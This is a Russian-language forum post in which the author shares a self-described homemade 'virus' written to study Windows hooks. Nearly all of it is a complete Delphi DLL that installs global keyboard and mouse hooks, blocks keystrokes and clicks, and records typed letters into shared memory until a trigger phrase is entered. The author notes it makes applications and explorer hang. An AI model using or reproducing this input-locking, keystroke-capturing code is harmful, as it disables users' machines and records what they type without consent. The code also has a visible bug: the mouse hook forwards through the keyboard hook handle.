Вот нашёл у себя в архиве "самопальный вирус", который писал для изучения механизма хуков. В общем суть такова: ставится глобальный хук на мышь и на клаву. По нажатию кнопки всё записывается в фразу. Если полученная фраза совпала с нужной, то хуки снимаются. Однако, если активно понажимать на кнопки и мышь, то у многих приложений вылетят ошибки - мол "Программа не отвечает..." - даже explorer так виснет.
Вот DLL:
Код:
library hookDLL;
uses
Windows, messages;
type
PGlobalDLLData = ^TGlobalDLLData;
TGlobalDLLData = packed
record
phrase: ShortString;
end;
var
hKeybHook: HHOOK = 0;
hMouseHook: HHOOK = 0;
hMapFile: THandle;
GlobalData: PGlobalDLLData;
function MouseHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
msg: PEventMsg;
begin
if CODE=HC_ACTION then
begin
Msg := Pointer(LParam);
if msg.message=WM_MOUSEMOVE then
begin
Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
exit;
end;
Result:=1;
exit;
end;
Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
end;
function ScanToASCII(scancode: DWORD): Integer;
var
KBLayout: HKL;
KBState: TKeyboardState;
vk: UINT;
begin
if (GetKeyboardState(KBState) = False) then
begin
Result := 0;
exit;
end;
vk := MapVirtualKey(scancode, 1);
//Result := ToAscii(vk, scancode, KBState, PResult, 0);
Result:=vk;
end;
function KeyHook(CODE, WParam, LParam: DWORD): DWORD; stdcall;
var
ScanCode: integer;
begin
if CODE = HC_ACTION then
begin
ScanCode:=(LParam shr 16)and $FF;
if (((ScanCode>=16) and (ScanCode<=25)) or ((ScanCode>=30) and (ScanCode<=38))
or ((ScanCode>=44) and (ScanCode<=50)) or (ScanCode=57)) and ((LParam shr 30)=0) then
begin
while Length(GlobalData^.phrase)>128 do
Delete(GlobalData^.phrase, 1, 1);
GlobalData^.phrase:=GlobalData^.phrase+chr(ScanToASCII(ScanCode));
end;
Result:=1;
exit;
end;
Result:=CallNextHookEx(hKeybHook, code, WParam, LParam);
end;
procedure SetHook; stdcall; export;
begin
GlobalData^.phrase:='';
if hKeybHook = 0 then
hKeybHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, hInstance, 0);
if hMouseHook = 0 then
hMouseHook := SetWindowsHookEx(WH_MOUSE, @MouseHook, hInstance, 0);
end;
procedure DelHook; stdcall; export;
begin
if hKeybHook <> 0 then UnhookWindowsHookEx(hKeybHook);
hKeybHook:=0;
if hMouseHook <> 0 then UnhookWindowsHookEx(hMouseHook);
hMouseHook:=0;
end;
function IsActive:boolean; stdcall; export;
begin
Result:=true;
if (hKeybHook=0) or (hMouseHook=0) then
Result:=false;
end;
procedure OpenGlobalData();
const
MapFileName = 'MapFileSpecialForTwiX';
begin
// MMFHandle:= CreateFileMapping(DWord(-1), nil, PAGE_READWRITE, 0, SizeOf(TGlobalDLLData), MMFName); // можно так, но лучше: см. след. строку
hMapFile := CreateFileMapping(INVALID_HANDLE_VALUE, nil, PAGE_READWRITE, 0,
SizeOf(TGlobalDLLData), MapFileName);
if hMapFile = 0 then
begin
MessageBox(0, 'Can''t create FileMapping', 'Error', 0);
Exit;
end;
{ отображаем глобальные данные на АП вызывающего процесса и получаем указатель
на начало выделенного пространства }
GlobalData := MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, SizeOf
(TGlobalDLLData));
if GlobalData = nil then
begin
CloseHandle(hMapFile);
MessageBox(0, 'Can''t make MapViewOfFile', 'Error', 0);
Exit;
end;
end;
procedure CloseGlobalData();
begin
UnmapViewOfFile(GlobalData);
CloseHandle(hMapFile);
end;
exports
SetHook, DelHook, IsActive;
procedure DLLEntryPoint(dwReason: DWord); stdcall;
begin
case dwReason of
DLL_PROCESS_ATTACH: OpenGlobalData;
DLL_PROCESS_DETACH: CloseGlobalData;
end;
end;
begin
//MessageBox(0, PChar(Application.ExeName), 'Message from keyhook.dll', 0);
{назначим поцедуру переменной DLLProc}
DLLProc:= @DLLEntryPoint;
{вызываем назначенную процедуру для отражения факта присоединения данной
библиотеки к процессу}
DLLEntryPoint(DLL_PROCESS_ATTACH);
end.